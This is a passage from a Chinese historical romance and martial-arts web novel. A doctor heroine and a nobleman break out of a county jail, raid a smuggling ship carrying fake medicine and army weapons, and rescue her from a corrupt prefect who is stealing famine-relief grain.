半晌,他轻轻叹了口气,小心翼翼地将她扶正,又脱下外袍盖在她身上。"睡吧。"他低声道,"明日还得抓坏人...崔女侠可别累垮了。"
崔宝珠在梦里哼了一声,像是回应。
翌日清晨,崔宝珠发现自己手里攥着谢珩的袖子,而他靠着床沿熟睡。"你越界了啊!"她悄悄说。
窗外晨光熹微,透过窗纸斑驳地落在两人身上。
谢珩那张平日总带着讥诮的脸,此刻却如一卷清峭的宋画。睫毛垂落似工笔线条,呼吸间仿佛浮动着松烟墨的凉意...
她鬼使神差地伸手——却在即将碰到他脸时猛然清醒,光速缩回,结果一头撞上床柱。"诶呦——"
谢珩被惊醒,看她捂着脑袋呼痛,从睡眼惺忪到笑得发抖:"崔大夫这是...练铁头功?"
崔宝珠又羞又恼,刚要反击,忽听楼下吵闹起来!紧接着一阵杂乱的脚步声,几个官差破门而入:"把他们两个!给我抓起来!"
4. 入狱
"马头村的村民举报你二人纵火。老实在这呆着,等知州大人回来定罪!"
狱卒落锁的声音在阴暗潮湿的地牢中格外刺耳。崔宝珠注意到,这些狱卒虽然将他们关押,却出奇地客气——没有提审,没有上刑,甚至连搜身都免了,从头到尾都带着几分诡异的恭敬。
"喂!刚才在客栈,你为什么拦着我?"崔宝珠一肚子火没处发,恨得牙痒痒。她踢了一脚牢房的石墙,疼得直抽气:"该死的杜六,恶人先告状!"
回想起在客栈时谢珩制止她反抗的那个眼神,她仍觉得憋屈。
当时她都已经摸到藏在袖中的银针了,若不是谢珩使眼色,她定要让那几个衙差尝尝崔家独门针法的厉害。
谢珩没回应,蹲在墙角,用一根稻草在地上画着什么。
地牢里光线昏暗,崔宝珠只能隐约看出那似乎是张简易的地图。
"客栈里那个捕头我见过。"半晌,他才开口,声音低沉得像是从地底传来。
他手指在地图上某个点轻轻敲击:"每年清江药展都由谢家牵头,官府协办。那个姓向的捕头常往谢府办差,按理说..."
"我看他方才也没认出你啊!"崔宝珠撇撇嘴,继续摆弄着牢门上的大锁。
这锁看似粗笨,实则机关精巧,她一时竟看不出破解之法。"看来你在镇南王府没什么地位!"
谢珩闻言,手上动作一顿。
他抬起头,昏暗的光线下,那双眼睛亮得惊人:"不对..."
他自言自语,眉头越皱越紧。镖局、杜六、捕头...这些看似偶然的关联,背后必有蹊跷。
地牢阴冷潮湿,寒意渗入骨髓。
崔宝珠搓了搓手臂,这才注意到牢房里连张草席都没有。
她从小锦衣玉食,何曾受过这等委屈?眼眶不由有些发热,又强自忍住。
隔壁牢房的大胡子囚犯突然凑了过来,铁链哗啦作响:"姑娘,你们咋得罪马头村的人了?"
崔宝珠被这突如其来的搭讪吓了一跳。借着墙上火把的微光,她看清对方是个四十出头的壮汉,满脸络腮胡,一双眼睛却意外的清亮。
"我们被诬陷烧了人家的房子。"她没好气地回答,同时不着痕迹地往谢珩那边挪了挪。
"那马头村就是个假药窝,烧得好!"大胡子啐了一口,铁链又是一阵响动。他伸出布满老茧的手:"在下赵铁头!不是坏人,是漕帮的。"
崔宝珠这才注意到,这人虽然身材魁梧,但手指关节上都是风湿结节,肤色黝黑中透着不健康的青灰——这是常年在水上讨生活的人特有的病征。
"我是大夫。"崔宝珠多看了几眼,解释道:"买了假药去马头村算账的..."
"大夫"二字刚出口,旁边牢房突然传来一阵剧烈的铁链声。一个蓬头垢面的妇人猛地扑到牢门前,拼命拍打着铁栅栏:"大夫!救救孩子!求您救救孩子!"
妇人怀中抱着个六七岁的孩子,面如死灰,嘴唇乌青,呼吸微弱得几乎看不见胸口的起伏。崔宝珠一眼就看出这是典型的中毒症状。
吵闹声立刻引来了牢头。
满脸横肉的中年男子,腰间挂着一串叮当作响的钥匙,骂骂咧咧地走过来:“吵什么吵!”
年轻狱卒面露不忍:"头儿,要不找个大夫来?别真闹出人命..."
"还请大夫?你钱多烧的?"牢头厉声打断,却又莫名压低了声音:"就算闹出人命,也有谢家料理,你操什么闲心!"
他转向众人,恶狠狠地威胁:"都给我安静点!再闹就把你们扔水牢去!"
"谢家?"一直沉默的谢珩突然出声。他站起身,阴影中那双眼睛亮得吓人:"你说的是哪个谢家?"
牢头被他看得后退半步,随即又挺起胸膛,得意洋洋:"整个西南还有哪个人家敢姓谢?当然是镇南王府。"
他哼起一首不成调的打油诗:"皇帝管北谢管南,过了青江换令牌..."
崔宝珠脑中灵光一闪:"卖假药的幕后主使会不会是镇..."
"不可能。"谢珩几乎是下意识地打断她,声音冷得像冰。
"怎么不可能!"崔宝珠气得跳脚,转向那妇人:"孩子是吃药中毒的?"
妇人泪如雨下:"我们在药铺买的丸药,吃了就咳血不止。去药铺理论,反被报官关到这里..."
"太过分了!"崔宝珠和赵铁头异口同声地喊道。
谢珩沉默片刻,突然从怀中掏出一个精致的荷包,扔给那妇人:"吃这个。救命药。"
荷包在空中划出一道弧线,被妇人慌乱地接住。她颤抖着打开,里面是一包褐色的粉末,散发着奇异的香气。
这香气似乎触动了什么。一直蜷缩在墙角的一个老人突然抬起头,鼻翼剧烈抽动。
下一秒,这个看起来行将就木的老者竟爆发出惊人的敏捷,干枯的手爪死死扣住妇人的手腕!
"给我!"他嘶吼着,声音沙哑得不像人类。
药粉在争抢中簌簌落下。
老人像狗一样趴在地上,伸出舌头疯狂舔舐着混着药粉和泥沙的地面,发出满足的"嗬嗬"声。
突然,他抬头死死盯着谢珩,充血的眼睛里闪烁着疯狂的光芒:"你是谁!谢家!你认识镇南王!"
他语无伦次地重复着,"告诉他!告诉镇南王!鸩鸟!是鸩鸟…鸩鸟又来了!又来了啊!"说完便重重倒地,昏死过去。
地牢里一片死寂。
"鸩鸟是什么?"良久,崔宝珠才找回自己的声音。
赵铁头挠了挠胡子:"他说的...应该是船?就这两年,清江有艘名叫鸩鸟的货船常常往来。"
"船上装的什么?"
"药材。"赵铁头啐了一口,"在清江靠岸,再走陆路送往西南边军。"
他压低声音,"清江城最不缺药材,偏要从外地走水运送来...你们猜咋样?"
他神秘兮兮地环顾四周,"那船舱的麻袋里装的,多半都是假药!这帮龟孙!为了银子连自己人都坑!"
"每月初七靠岸?"谢珩突然问道。
"是今晚,你咋知道?"赵铁头掰着指头算了算日子,一脸惊讶。
谢珩没有回答。他嘴角勾起一个冰冷的弧度,眼中闪过崔宝珠看不懂的情绪。
这一切巧合得像是有人精心设计的局——镖局、杜六、捕头、现在又是这艘神秘的"鸩鸟"货船...
崔宝珠已经蹲在那孩子身边,从发髻中取出一根银针。
她手法娴熟地在孩子几个穴位上施针,不一会儿,孩子青灰的脸色竟渐渐有了血色。
"还真是极见效的好药!"她擦了擦额头的汗,转向谢珩,"咱们得想办法出去,最好把这帮坏人抓个现行!"
"赵铁头,你漕帮的兄弟们还在码头吧?"谢珩突然问道。
赵铁头正在研究自己指甲里的泥垢,闻言抬头:"他们都是跑船混饭的,还能去哪里?"
他突然警觉,"等等,你们要越狱别想带上我!我还得留着小命回家孝敬我老娘呢!"
谢珩从怀中掏出一个精致的荷包,从里面取出一叠银票,抽出一张递给赵铁头:"一百两。"
赵铁头瞄了一眼,摇摇头。
"二百两。"谢珩又加了一张。
赵铁头挪了挪屁股,又坐回去,咬牙再摇头。
崔宝珠在一旁煽风点火:"就凭你刚才说这些话,等我们走了,你就要被灭口了。"
"一千两。"谢珩直接把一沓银票展开在赵铁头面前。
赵铁头咽了咽口水,喉结上下滚动。就在他伸手要接时——
"不要算了。"谢珩"唰"的一下又把银票收了回去。
"要要要要!傻子才不要!"赵铁头急得直跳脚,铁链哗啦作响,"一千两,足够我把漕帮东山再起、做大做强了!"
他拍着胸脯保证,"我漕帮有刀有斧,兄弟个个是好手!老子也看那个鸟船不爽很久了!"
谢珩抽出一百两给了那妇人:"给你的,出去给孩子看病。"
剩下九张递给赵铁头:"欠你一百两,事成再结。"
"接下来咋办?"赵铁头美滋滋地收了银票,立马唯谢珩马首是瞻。
谢珩看向地牢深处,嘴角勾起一抹冷笑:"等。"
子时将至,地牢里只剩下此起彼伏的鼾声。
崔宝珠蜷缩在墙角,一只灰鼠从腐草堆里窜出,恰好踩过她的手背。
"啊!"她惊叫一声,猛地缩手,惊醒了旁边刚刚死里逃生的虎子。
"姐姐,我饿…"虎子虚弱地说,龟裂的嘴唇渗出细碎的血珠。
"吃这个。"黑暗中传来谢珩的声音,随即一个油纸包准确地落在崔宝珠膝上。
她打开一看,是几块硬得像石头的干粮。"你怎么什么都有?"
她惊讶地问,"有银票、有干粮、还有救命的药粉..."
又掰下一小块干粮喂给虎子,"那个药粉是什么方子?解毒这么灵?"
"不告诉你。"
崔宝珠正要反驳,却见谢珩突然竖起手指抵在唇前。
她立刻噤声,顺着他的目光看去——地牢的铁门处,传来钥匙转动的声音。
"向捕头值夜班?"谢珩懒洋洋地开口,声音在寂静的地牢中格外清晰。
钥匙声戛然而止。片刻后,脚步声迟疑地向他们靠近。
"来啊,叙叙旧。"谢珩继续道,声音里带着崔宝珠从未听过的威压。
向捕头的身影出现在牢门外。火光下,他脸色惨白,额头上渗出细密的汗珠。
"什么事?"他声音发紧,右手不自觉地按在刀柄上。
"走近点!"谢珩走到牢门前,朝他勾了勾手指,"不认识我了?"
他目光下移,若有所思道:"你左靴跟的钉子快掉了。"
向捕头下意识低头查看。就在这一瞬间,谢珩指尖弹出一粒石子,"咣当"一声击落了向捕头的佩刀。
下一秒,谢珩的手臂如闪电般穿过铁栅栏,一把扣住向捕头的咽喉!
"用不用我把你眼珠子抠出来,仔细看看啊?"
"二…二爷…饶命!"向捕头双腿发软,声音颤抖得不成调。
"钥匙。"
"没…没有…"向捕头抖得跟筛糠似的,□□处突然湿了一片,"二爷饶…饶命!我真没有。"
"谁指使你的?"
"不…不...您就是打死小的,小的也不敢
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说。"
谢珩冷笑一声:"不说就不说吧。"话音未落,他手臂猛地一收,向捕头的脑袋重重撞在铁栅栏上,当场昏了过去。
谢珩转向角落的粪桶,在众人惊愕的目光中,拿着根木棒搅来搅去。
"崔宝珠,把鼻子捂上。"他头也不回地说。
片刻后,外面的狱卒听到动静赶来。迎接他们的,是两个迎面飞来的粪桶!
"咣!"粪桶砸在牢门上,污秽的液体四处飞溅。
"对不住啊各位!"谢珩捏着鼻子喊道,声音里毫无诚意,"实在是——"
他话未说完,两个狱卒已经软绵绵地倒了下去。
崔宝珠目瞪口呆:"曼陀罗粉?还混了石灰?遇水生热,是挥发最快的迷药!"
她捏着鼻子,既佩服又嫌弃,"就是你这用法…实在是不太体面。"
"有用就行。"谢珩不以为意,捡了根草茎开始捅锁。失败三次后,他转向崔宝珠:"借你发簪用下?"
不等她回应,他已经抽走了她鬓间的银簪。
只听"咔嗒"一声脆响,牢门应声而开。
谢珩将簪子插回她散乱的发间时,指尖不经意擦过她的耳尖。那一触即分的温热触感,让崔宝珠耳根发烫。
"走!"赵铁头那边也撬开了锁。他背上昏迷的老人,招呼众人:"从这走!出去就是码头旁的芦苇荡!"
谢珩扛起虎子,赞许地点头:"行啊!小瞧你了!"
赵铁头憨厚一笑:"漕帮老和官府打交道,总得留条保命路。"
排水沟又黑又长,淤泥没至小腿。赵铁头背着老人,走得气喘吁吁。
就在这时,三支弩箭突然钉在他们刚才站立之处!
"来人了!快走!"谢珩一把扛起哆哆嗦嗦的虎子,半开玩笑地警告:"敢尿我脖子上就把你扔回去喂箭!"
黑暗中,赵铁头骂骂咧咧地前行。
突然,身后传来水声。他转身抄起烂木棍,却见谢珩单手撑壁,一个利落的翻身落在他前面。
几乎同时,三支弩箭"嗖嗖"钉入他们原先的位置。
"崔宝珠!带他们先走!"谢珩喝道。
三个狱卒提刀冲来。赵铁头抡棍砸空,险些栽倒——
"低头。"谢珩的声音从背后传来。
赵铁头下意识矮身,谢珩的靴底擦着他头皮飞过,精准踹在狱卒脸上。那人鼻血狂喷,仰面栽倒。
"爷爷的!你打架怎么还带预告的?!"赵铁头瞪眼道。
第二个狱卒挥刀砍来,谢珩侧身一闪,反手扣住对方手腕一拧——
"咔嚓。"
"嘶——"赵铁头倒抽一口凉气,"卸人胳膊跟掰筷子似的?"
第三个狱卒举火把冲来,赵铁头抓起一把烂泥糊他脸上。
火把擦过他衣袖点燃,谢珩扯过破布盖灭火苗,同时伸脚绊倒最后一个狱卒。
战斗结束,赵铁头喘着粗气,盯着谢珩擦手的动作:"兄弟,你这身手…不像混的啊?"
"家学渊源。"谢珩淡淡道,从污水里捞起钥匙串抛给他,"走吧,再磨蹭真成泥鳅了。"
赵铁头咧嘴一笑,突然往谢珩肩上一拍,留下个泥手印:"行!你这朋友我交了!"
谢珩看着肩膀上的泥印,沉默两秒,突然抓起一把烂泥,"啪"地糊在赵铁头后脑勺。
"礼尚往来。"他一本正经地说。
十年后的赵将军喝醉了就爱吹嘘:"我和''那位''一起玩过泥巴、逃过狱,是过命的兄弟!"
"在这!"排水口尽头的芦苇荡里,崔宝珠探出个脑袋。夕阳西下,众人窝在芦苇丛中休整,等待夜幕降临。
崔宝珠揉着酸痛的脚踝,不解地问:"为什么不亮明身份,大大方方的查案?"
谢珩冷笑一声:"和谁亮?这些天你见过当官的吗?"
他折断一根芦苇,在地上画起简易地图,"洪灾发生不过七日,消息要传到皇上案头,再商议、再下旨,等赈灾的银子来了,明月州的灾民也死差不多了。"
他语气中带着崔宝珠从未听过的讥诮:"到时候,京城来的钦差大臣做做样子收拾残局,和地方官员分一分灾银,这事就算过去了。"
"就是!"赵铁头接过崔宝珠递来的金创药,胡乱抹在擦伤处,"我算看出来了,死些草民,对朝廷来说不算啥!"
"西南十六州,"谢珩继续道,手中的芦苇杆在地图上划出一道线,"但凡有一州开了接收灾民的口子,那明月州下面受灾的二十六县灾民全会涌过来,谁敢?"
"一州不行,西南十六州一起分担明月州的灾情不就好了?"崔宝珠天真地问。她从小在京城长大,哪里懂得这些地方上的弯弯绕绕。
"心不齐啊!"赵铁头翻了个白眼,一副"没救了"的表情。
他混迹市井多年,倒是看得很透彻:"边境乱成这样也不是一天两天了,就算是皇上一个人来,敢管闲事也只有两个结果——要么被灾民群殴,要么被官府扔进大牢。"
崔宝珠哑口无言。她突然意识到,天子脚下的秩序,在这天高皇帝远的西南边陲,竟是如此不堪一击。
"大哥哥——"虎子突然伸长脖子,指着远处的码头,"船来了!"
5. 劫船
“这是六饼、这是幺鸡、这是李锤子、这是……” 赵铁头摸黑到码头边的营房里,找来漕帮的兄弟。
如数家珍:“他们都是个顶个的好手,会凫水、会使流星锤、力气大、眼神好…….”
“头儿,进去没几天,你咋骨头还软了?” 幺鸡觉得赵铁头殷勤得不像话,打量谢珩年纪轻轻,没放在眼里。
“你知道个屁!没有这位小兄弟救我,我早去投胎了……” 赵铁头对兄弟几个附耳说起悄悄话,隐约听见什么一千两的。
“失敬!失敬!” 几人眼睛一亮,脸上浮起对金主的虔诚神情:“头儿的兄弟就是我们的兄弟,说吧!咋干那只鸟船!”
“你使啥兵器?挑个趁手的!” 幺鸡哗啦啦搬过来一堆的兵器,看着粗糙,可上面的血锈证实了这群人的不安分。
挑挑拣拣,递给谢珩一把轻飘飘的剑:“这个?”
“这个。” 谢珩鞋尖一挑,一张扎实的大弓“咻”地立了起来,被他牢牢握在手里。
“行啊!这弓有十斗还多!” 男人间认可说难也难,说容易也容易。
“那边还有几个好手。” 赵铁头吹响暗哨,江雾中钻出十来条舢板,上面的人遥遥招手示意。
“那鸟船一共三层,上头两层装货,底舱是人。他们有不少家伙,身手也不差,” 他一脸的不爽,还有些尴尬:“前几次冲突,俺们都没打过......”
“船上有四张硬弓立在桅楼,每刻钟换一次哨。”船才到港一个时辰,谢珩就摸清了鸩鸟的换防规律。
“等会我先解决四角望风的。”他拿箭瞄了瞄远近,捡了块石头在泥地画图:“趁他们换哨,铁头你带人先从右舷摸上去,拖住底仓的人,记得抓个舌头留下。幺鸡从左舷上船,二层货仓的药能拿多少拿多少,扔到江面的舢板上带走。我去顶层。短哨动、长哨撤。”
瞥了眼显然已经坐不住了的赵铁头,告诫:“别恋战。”
“明白!” 赵铁头盯着简图咧嘴一笑,缺了半颗的犬齿在月光下泛黄。
“幺鸡,等闹起来了,你让舢板的弟兄们在江面撒油,点火。” 末了,谢珩又添一句。
“为啥?”
“他们一定还有弓箭手,晃他们的眼,免得江面的弟兄受伤。”
夜风吹过,赵铁头吸了吸鼻子:“怎么一股韭菜味儿?”
“这帮孙子今晚吃饺子?” 幺鸡也闻到了。
“是火药。” 谢珩心念一动,既然能搞到军中才有的火药,他大约猜到了来人是谁。
转头问赵铁锤:“你会凫水?”
“会啊!”
“那等一会……” 谢珩附耳交代他。
“娘的!真他娘的刺激!像…像真要上战场似的!” 幺鸡最是个好斗的,激动得头毛竖立,像只斗鸡。
“我呢?我干什么?” 崔宝珠凑上来,眼睛亮得像盛了两颗星星。“要不我还是用我的银针……”
幺鸡噗呲一声笑了,哥俩好似的搭着谢珩的肩:“不愧是公子哥儿!打仗还带姑娘!”
“走走走!” 赵铁头对着崔珩一挑眉,坏笑着拉着漕帮各自散开去做准备。
崔宝珠拽着他的袖子不撒手:“凭什么赵铁头能去,我就得蹲这儿数芦苇?”
谢珩头也不回地往弓弦上缠布条消音:“你会凫水?”
“我箭术比赵铁头强!”崔宝珠夺过他的弓,颤颤巍巍拉出个歪歪扭扭的圆。
用力得指节发白,杏眼里跳着不服输的火星子。
谢珩叹气,突然从背后环住她。温热的胸膛抵住她后背,带着薄茧的手裹住她拉弦的手指。
弓弦绷紧的吱呀声里,手指覆上她拉弦的手:“食指再往下半寸…对,就这儿。”
崔宝珠脑子里像钻进了蚊子似的,嗡嗡响。
“专心点。” 他带着她的手臂缓缓移动,箭簇在月光下泛着冷光。“先看船上四角的灯笼,旁边的影子就是你的目标。”
“射箭不是用手,是用这里。”另一只手突然按在她腰上,扰得她浑身一颤。
箭离弦的刹那,谢珩的拇指轻轻擦过她腕骨。
连发四箭,百步外船上的灯笼应声而灭,放哨人软绵绵栽进江里。
江面舢板上有鸟叫声适时响起,刚好盖住落水声。
他松开手,在她耳边低笑:“现在你手上也有人命了,崔大夫。”
崔宝珠扭头瞪他,脸红跑开:“…我在这守夜!”
他收了弓箭,挑了把短刀给她。又往她怀里塞了个小小的油纸包:“陈皮糖。你要是乱跑——”
“就打断我的腿?”
“就再没下回了。” 他转身跃出芦苇荡,衣角掠过她指尖,“数一千个数,要是我们没回来,就先走。”
“这还用你说。” 她恶狠狠咬开糖纸,“你教人放冷箭的样子真像个土匪。”
夜风送来他带笑的回应:“别吃独食。”
一旁的虎子眼巴巴伸手:“阿姐——我也要。”
十二艘舢板借着夜雾贴向鸩鸟号,船底绑着的湿稻草消融了破水声。
赵铁头咬住分水刺,朝身后比划三根手指——三息后,桅楼传来铁器碰撞声,换哨开始。
“动手!”
赵铁头带人甩出包棉布的抓钩,十余条黑影狸猫般攀上船舷。
底舱守卫刚转身,就被浸油的麻绳勒住咽喉拖进阴影。
有个精瘦汉子刚要喊,太阳穴就挨了记漕帮特有的"秤砣拳"——袖里滑出的铜秤砣砸人最是闷声见血。
“留个舌头。”赵铁头踩住唯一清醒的账房先生,将人捆成端午粽子塞进货箱。
箱板突然传来三短一长的叩击——是幺鸡的暗号,出货了。
二层舷窗被铁钩拽开的刹那,幺鸡差点被浓烈的苦杏仁味呛个跟头——满舱樟木箱装着满满的药材。
他撬开最近的那个,抓了把"雪灵芝"就往怀里塞。
“你他妈识不识货!”同伙急眼,抢过布袋专挑底层药粉:“军中专用的金疮…药…...”
说着突然僵住——最里侧的箱子里,整整齐齐码着兵部的鎏金箭簇。
紧接着,两人身后一凉,被弓弩顶住了腰间......
另一边,赵铁头溜边下了底仓,突然听见弩箭上膛声,停住脚步。
借着微光,他看见十几个精壮汉子正在往木箱里填装弓弩——这哪是什么药材船!
二层突然爆出幺鸡的短哨。尖锐的竹哨撕破夜幕,赵铁头知道同伴也遇险了!
他正要转身,脑后突然袭来劲风。偏头躲过的钢镖深深钉入船板,镖尾系着的红绸在月光下像道血痕。
顶层传来木板爆裂的巨响,叮叮当当,谢珩遇伏了!
赵铁头甩出铁蒺藜,趁着对方躲闪的空当,一个猛子扎进水里。
腥臭的江水裹着血腥味灌进鼻孔,他在浑浊的水中看见幺鸡被铁链缠住的腿。
“接着!”赵铁头甩出匕首给幺鸡,突然觉得后背一凉。
来不及细看,回身,卯足了劲伸出长刀向前捅!
血雾在江水中绽开,他咧嘴笑了——崔珩算得真准,死士果然会在水下埋伏。
江
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面突然爆出震天铜锣声。数艘燃着鱼油的火船顺流而下,照得整片江面赤红如血。
桅楼上的弓手刚拉满弓,就被晃得泪流满面。
赵铁头趁乱拽着幺鸡一沉一浮地游向船底之前标记好的火药仓。
“你他妈轻点!”幺鸡吐着血沫骂,“老子肋骨……”
赵铁头手里的凿子刚碰到船板,整艘船突然剧烈摇晃。
他目瞪口呆地看着自己凿穿的位置——离预定位置偏了三尺,正好是承重龙骨!
这厢,谢珩踏上顶层甲板时,船楼里的琵琶声刚好拨到最高音。
弦音铮然,像刀锋出鞘的前兆。
他反手甩落长刀上的水珠,刀尖在柚木甲板上拖出一道细长水痕。推开门——
“咱们又见面了。” 屏风后面走出个锦袍胖子,十指戴满翡翠戒指,像只肥硕的蜘蛛。
船老大——曹金宝,三皇子门下最忠心的钱袋子。
他身后站着八个刀客,清一色反握短刃,刀刃淬了幽蓝的光。
谢珩笑了,果然,这世上还有谁比三皇子更惦记他这条命呢?
“老三让你带着账本喂鱼?” 他拇指擦过刀镡,金属摩擦声刺得人牙酸,“可惜了,爷不爱吃鱼。”
最后一个字刚落,曹金宝突然掀翻酒案:“杀!”
八道刀光泼面而来,谢珩却先一步踹飞了脚下的铜灯台。燃烧的灯油在空中炸开,最前面的刀客顿时成了火人。惨叫声里,长刀横斩——
一颗头颅飞起时,他已经旋身踩上第二人的肩膀。
骨头碎裂声混着琵琶的断弦的铮铮声,他借力腾空,刀锋卡在第三人颅骨里的瞬间,左袖箭机括轻响——第四人捂着喉咙倒下。
“废物。”谢珩甩开刀上的红白之物,突然侧头——一支弩箭擦着他耳廓钉入船板,箭尾嗡嗡震颤。
舷窗后,黑衣弩手正在上弦。谢珩啧了一声,长刀突然脱手飞出!
刀身旋转着劈开雨幕,将弩手连人带窗框钉在舱壁上。
他头也不回地后仰,避过身后偷袭的□□,反手抓住铁链一扯—— 第五个刀客被自己的兵器勒断了脖子。
“我虽未见过老三,却年年和他养的这群废物打交道。” 收刀,瞥了眼瘫坐在太师椅上的曹金宝,嗤笑。
地上躺着本靛蓝账册,封皮烫金的“药”字正在渗血。
谢珩踩住曹金宝试图往账册上摸的手,靴底碾出指骨碎裂的脆响。
“一年比一年排场大,一年比一年不禁打。”
“卖假药、运军械、国难财也不放过……” 他弯腰拎起账册,刀尖挑开扉页:“老三那么缺钱吗?”
话到一半突然侧身!
藏在账册夹层里的毒针擦着他咽喉飞过,钉入身后灯柱时嘶嘶冒烟。
谢珩眼神倏的冷了。
拎起曹金宝,刀尖顺着他脊柱下滑,停在第三节腰椎。
曹金宝突然疯狂挣扎——那是三皇子府死士□□囊的位置。
又听谢珩叹气:“年年带人来杀我,我都对你有感情了。”
“回去告诉老三——下次派点像样的。”谢珩手一松,脚一抬,把曹金宝踹进了江水里。
整艘船突然剧烈倾斜。底舱传来赵铁头变了调的吼叫:“凿穿了!”
江水疯狂涌入底舱,浸泡火药的黑水漫过脚踝。六饼他们正猴子似的在倾倒的货箱间跳跃,大包药材雨点般扔向接应的舢板。
“救命!你们是哪条道上的!!” 七零八落的顶仓废墟里,忽然传出哀嚎:“我是周汲!兵部侍郎的独子!救我!重重有赏!”
6. 救美
黎明前的江面泛着铁灰色的微光,谢珩站在舢板前端,湿冷的江风将他额前的碎发吹得凌乱。
鸩鸟号的火光已经渐渐变小,只剩下几缕黑烟还在固执地上攀。
"崔大夫!"赵铁头又喊了一声,声音在空旷的江面上回荡。
回应他的只有芦苇丛中惊起的几只水鸟。
谢珩的眉头不自觉地皱得更紧,手指在弓身上收紧又松开。
那个总是叽叽喳喳的身影没有像往常一样从芦苇丛里跳出来,得意洋洋地炫耀自己又发现了什么。
"我在这..." 虎子从泥水里钻出来时,脸上还带着未干的泪痕。
这个七岁的孩子自从被崔宝珠从火场救出来后,就像个小尾巴似的跟着她。
"谢、谢大哥..."他抽噎着说,"崔姐姐跟着一个穿官服的人走了..."
谢珩蹲下身,平视着虎子的眼睛:"说清楚。"
原来就在他们袭击鸩鸟号不久,虎子看见崔宝珠突然猫着腰钻进了更深的芦苇丛。
他好奇地跟过去,看见她正盯着码头方向——
那里有个穿着崭新官服的中年男人,正神色慌张地看着起火的船只,腰间挂着的金鱼袋在火光中格外显眼。
"崔姐姐说,那肯定是新来的知州大人。"小虎抹了把脸,"她说要跟上去看看他们搞什么鬼..."
谢珩觉得自己的太阳穴突突直跳,他早该想到,以崔宝珠的性子,怎么可能老老实实待在原地等他们回来?
"她让我在这里等你们..."虎子的声音越来越小,"说要是天亮还没回来,就...就让我去找你..."
赵铁头挠了挠脑袋:"这丫头胆子也太大了!那可是知州..."
谢珩已经站起身,眼神冷得像淬了冰:"去府衙。"
青江府衙的后巷弥漫着一股腐烂菜叶的味道。
谢珩像只黑猫般悄无声息地落在墙头,月光在他轮廓分明的侧脸上投下锋利的阴影。
值夜的衙役正打着哈欠,嘴里还嚼着半块硬得能硌掉牙的馍。
他刚伸了个懒腰,突然被人从背后捂住嘴拖进了暗巷。
冰冷的刀刃抵在喉间时,他吓得差点咬到舌头。
"新来的知州在哪?"谢珩的声音比刀锋还冷。
衙役的□□瞬间湿了一片:"大、大人...不在衙门..."
刀尖下压,一丝鲜血顺着脖颈流下:"再说一遍?"
"在城外别院!"衙役几乎是喊出来的,"说是要验、验粮..."
谢珩眼中寒光一闪。验粮?深更半夜?
他一个手刀劈晕了衙役,转身对跟上来的赵铁头道:"你去码头善后,然后带着人手到城外找我。"
"你呢?"
谢珩已经跃上墙头,黑色的身影几乎与夜色融为一体:"去抓那只不听话的野猫。"
......
崔宝珠正蹲在粮仓的横梁上,屏住呼吸。
从她这个角度,能清楚地看到下面发生的一切——
几十个差役正忙着将一袋袋粮食从车上卸下,而那个穿着官服的胖子就站在台阶上监工。
"动作快点!天亮前必须换完!"冯敏之的声音里透着焦躁。
一个师爷模样的人凑上前:"大人,这批新粮足有五千石,全换了会不会..."
"怕什么?"冯敏之冷笑,"明月州的贱民有口吃的就不错了。
再说..."他压低声音,"这批新粮是给边军的,咱们扣下一半,剩下的掺点霉粮,谁知道?"
崔宝珠气得浑身发抖。
她一路跟踪冯敏之到这里,没想到竟撞见这么龌龊的勾当!赈灾粮掺假,连给边军的军粮他们也敢贪!
她一个没留神,绣鞋与横梁发出“沙沙”的摩擦声。
"谁?!"冯敏之猛地抬头。
“你姑奶奶!” 崔宝珠笑骂一句,翻下房梁,扭头就跑。
没两步,裙角乐极生悲地挂住树枝,整个人"啪叽"摔进泥坑。
再抬头时,七八个衙役已举着火把将她团团围住。
"哟,哪来的小美人?"冯敏之用脚尖挑起她的下巴,突然变色,"这衣裳料子……京城来的?"
崔宝珠"呸"地吐掉嘴里的泥:"你姑奶奶是宣平侯嫡女!识相的赶紧跪下磕头!"
"闭嘴!"冯敏之抡起账册砸她脑袋,眼珠子滴溜溜一转,矢口否认:"我不认识什么千金!你就是偷粮食的小贼!"
示意衙役,"勒死她,扔进江里喂鱼。"
麻绳套上脖子的刹那,崔宝珠突然连人带椅蹦起来,一头撞翻他:"想杀我?下辈子吧!"
接下来的场面简直像出滑稽戏——崔宝珠像个笨拙的螃蟹,带着椅子在粮仓里横冲直撞。
冯敏之躲闪不及,被她撞了个四脚朝天。
"拦住她!"冯敏之气急败坏地喊。
她身上的椅子"咣当咣当"地乱响。衙役们追得人仰马翻,有个倒霉蛋被她椅腿绊倒,直接栽进了米缸。
满屋子人手忙脚乱地围追堵截,崔宝珠蹦跳着躲闪。
椅子腿"咔嚓"一声断裂,身上的绳子错位松懈下来,崔宝珠边跑边挣脱,却在粮袋上绊了一跤。
"抓住她!"冯敏之捂着流血的鼻子咆哮。
四五个差役扑上来,她腾出一只手,袖中的银针狠狠扎进最近那人的手背。
"啊!"差役吃痛松手,崔宝珠趁机滚到粮堆后面。
还没等她爬起来,头皮突然一疼——冯敏之亲自揪住了她的头发。
"小贱人,找死!" 冯敏之这次打了个死结,把她困得严严实实。
"我爹真是宣平侯!"崔宝珠疼得眼泪汪汪。
余光瞥见门口一闪而过的人影,嘴上又硬气起来:"我的侍卫都在不远处!我要是死在这,皇上诛你九族!"
冯敏之脸色变了又变,突然阴笑起来:"杀了你这个京城来的奸细,说不定镇南王府还会谢谢本官。"
"王八蛋!你迟早…"没等她骂完,就看见冯敏之举着铁锹朝她砸来——
"谢珩!你再不出来,我做鬼天天半夜趴你床头哭!"
"铛!"
一柄长刀凌空飞来,将铁锹劈成两半。
冯敏之骇然回头,只见一道黑影
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从粮仓横梁跃下,靴底重重踹在他脸上!
谢珩一边给她松绑,一边凉飕飕道:"崔大夫好威风啊。"
衙役们举刀冲来,谢珩反手甩出三枚铜钱,精准打中膝盖要穴。转眼间,满屋子人哀嚎着跪了一地。
知府瘫坐在地:"好汉饶命!银子都给你——"
"谁稀罕你的脏钱?"崔宝珠终于挣开绳子,抄起麻袋"哗啦"套住知府脑袋,"明月州的乡亲们正等着和你算账呢!"
黎明时分,谢珩押着五花大绑的冯敏之回到明月州。
灾民们闻讯聚集,愤怒的吼声震天响。
"贪赈灾粮的狗官抓住了!"崔宝珠扯着嗓子一喊,满城灾民蜂拥而至。烂菜叶臭鸡蛋雨点般砸来,知府哭嚎着被拖进人群。
"诸位!这狗官偷换朝廷赈灾粮,罪证确凿!今日交给乡亲们发落!"
灾民们一拥而上。冯敏之吓得屁滚尿流:"饶命啊!我愿献出全部家产赈灾!"
